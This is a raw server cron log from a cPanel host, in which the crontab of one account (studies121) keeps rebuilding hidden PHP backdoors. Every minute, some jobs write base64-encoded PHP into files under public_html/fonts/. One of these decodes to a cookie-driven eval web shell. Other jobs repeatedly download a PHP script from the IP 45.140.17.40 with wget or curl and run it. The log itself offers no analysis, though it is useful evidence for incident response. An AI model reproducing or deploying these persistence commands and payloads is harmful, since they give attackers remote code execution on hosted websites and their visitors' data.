Sep 12 03:17:01 ip-184-168-122-23 CROND[16224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:17:01 ip-184-168-122-23 CROND[16222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:17:01 ip-184-168-122-23 CROND[16223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:18:01 ip-184-168-122-23 CROND[16390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:18:01 ip-184-168-122-23 CROND[16388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:18:01 ip-184-168-122-23 CROND[16389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:18:01 ip-184-168-122-23 CROND[16391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:18:01 ip-184-168-122-23 CROND[16392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:19:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:19:01 ip-184-168-122-23 CROND[16472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:19:01 ip-184-168-122-23 CROND[16474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:19:01 ip-184-168-122-23 CROND[16475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16564]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:20:01 ip-184-168-122-23 CROND[16572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:20:01 ip-184-168-122-23 CROND[16576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:20:01 ip-184-168-122-23 CROND[16577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:21:01 ip-184-168-122-23 CROND[16676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:21:01 ip-184-168-122-23 CROND[16678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:21:01 ip-184-168-122-23 CROND[16679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:21:01 ip-184-168-122-23 CROND[16680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:22:01 ip-184-168-122-23 CROND[16765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:22:01 ip-184-168-122-23 CROND[16766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:22:01 ip-184-168-122-23 CROND[16770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:22:01 ip-184-168-122-23 CROND[16769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:22:01 ip-184-168-122-23 CROND[16771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:23:01 ip-184-168-122-23 CROND[16931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:23:01 ip-184-168-122-23 CROND[16932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:23:01 ip-184-168-122-23 CROND[16934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:23:01 ip-184-168-122-23 CROND[16933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:24:01 ip-184-168-122-23 CROND[17016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:24:01 ip-184-168-122-23 CROND[17018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:24:01 ip-184-168-122-23 CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:24:01 ip-184-168-122-23 CROND[17017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:24:01 ip-184-168-122-23 CROND[17020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:24:01 ip-184-168-122-23 CROND[17022]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 12 03:25:01 ip-184-168-122-23 CROND[17126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:25:01 ip-184-168-122-23 CROND[17127]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:25:01 ip-184-168-122-23 CROND[17128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:25:01 ip-184-168-122-23 CROND[17129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:25:01 ip-184-168-122-23 CROND[17130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:25:02 ip-184-168-122-23 CROND[17131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:26:01 ip-184-168-122-23 CROND[17236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:26:01 ip-184-168-122-23 CROND[17237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:26:01 ip-184-168-122-23 CROND[17240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:26:01 ip-184-168-122-23 CROND[17238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:26:01 ip-184-168-122-23 CROND[17241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:27:01 ip-184-168-122-23 CROND[17332]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 12 03:27:01 ip-184-168-122-23 CROND[17333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:27:01 ip-184-168-122-23 CROND[17335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:27:01 ip-184-168-122-23 CROND[17336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:27:01 ip-184-168-122-23 CROND[17337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:28:01 ip-184-168-122-23 CROND[17510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:28:01 ip-184-168-122-23 CROND[17512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:28:01 ip-184-168-122-23 CROND[17513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:28:01 ip-184-168-122-23 CROND[17511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:28:01 ip-184-168-122-23 CROND[17514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:29:01 ip-184-168-122-23 CROND[17609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:29:01 ip-184-168-122-23 CROND[17612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:29:01 ip-184-168-122-23 CROND[17616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
